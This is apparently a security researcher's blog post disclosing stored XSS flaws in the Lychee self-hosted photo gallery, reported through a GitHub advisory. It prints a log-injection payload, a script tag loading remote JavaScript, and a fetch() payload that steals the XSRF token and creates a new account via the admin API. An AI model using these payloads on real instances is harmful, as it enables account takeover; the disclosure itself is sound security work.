Cross-Site Scripting in Lychee
Posted on 22 Oct 2022 in security • 3 min read
Lychee is a self-hosted photo-management and gallery. I am using the Lychee application for my personal usage (mostly sharing pictures with the family).
The application has been greatly improved since the last update of my instance. I fired up a docker and start taking a look at the application for new features. It was not long before I found a few XSS, one of them could allow unauthenticated users to to gain logged access to the platform by creating a new account.
I reported the issues to the project and we created a Github Security Advisory: https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv.
The lychee application create an administrator account the first time the application is browsed. This account is the only one with administrative privileges (account management, logs and diagnostics) and is expected to have full access to the underlying server (shell access). In addition, this account has access to all photos and albums uploaded by the different users.
All this privileges made this account attractive for XSS payloads and attacks.
Note that the session cookie was HttpOnly
and that the XSRF
cookie was not, it will matter later
in the exploitation phase.
Insertion points
Only the admin can create a user account while there is a few authenticated insertions points (photo and album title, username once the user changed it) they are not that interesting as the admin probably trust the new users or even does not create user accounts.
I focused on unauthenticated insertion points.
Logs logs logs
The admin user has access to a "Show Logs" administrative function. I quickly noticed that
authentication attempts where displayed in the logs including the user controlled user
parameter.
Log injection - alert(1)
It was relatively easy to try to login as the <script>alert(1)</script>
user and trigger an alert
in the admin session (the screenshot below is when the user change its username but the result is the
same as we inject the logs).
It is possible for an attacker to perform log injection using this entry point.
Beyond alert(1)
I wanted to go beyond an alert pop-up, we want a user account. Using the username
<script src='172.0.0.1/a.js"/>
, I was able to inject a longer JavaScript payload that would
request the API endpoint User::create
passing in POST parameters its username, password and
privileges. I also retrieve the X-XSRF-TOKEN
value from the cookie as it was not HttpOnly
(I
recommended to the team to add this flag to the XSRF cookie but that
was not possible as they also needed to access it using JavaScript.)
fetch('http://172.17.0.2:80/api/User::create',{
// create a POST request to be sent to the lychee instance located at `172.17.0.2`
method: 'POST',
// setup the headers
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
//the X-XSRF-TOKEN is retrieve from the cookie store as it is not `HttpOnly`
'X-XSRF-TOKEN': document.cookie.split('=')[1].split('%')[0],
'X-Requested-With': 'XMLHttpRequest',
},
// body of the request containing the payload to create a new user with upload privileges
body: '{"username":"xss_1","password":"xss","may_upload":true,"is_locked":false}'
})
Once the new account was created I was able to browse the application as an authenticated user and upload photos and images on the server.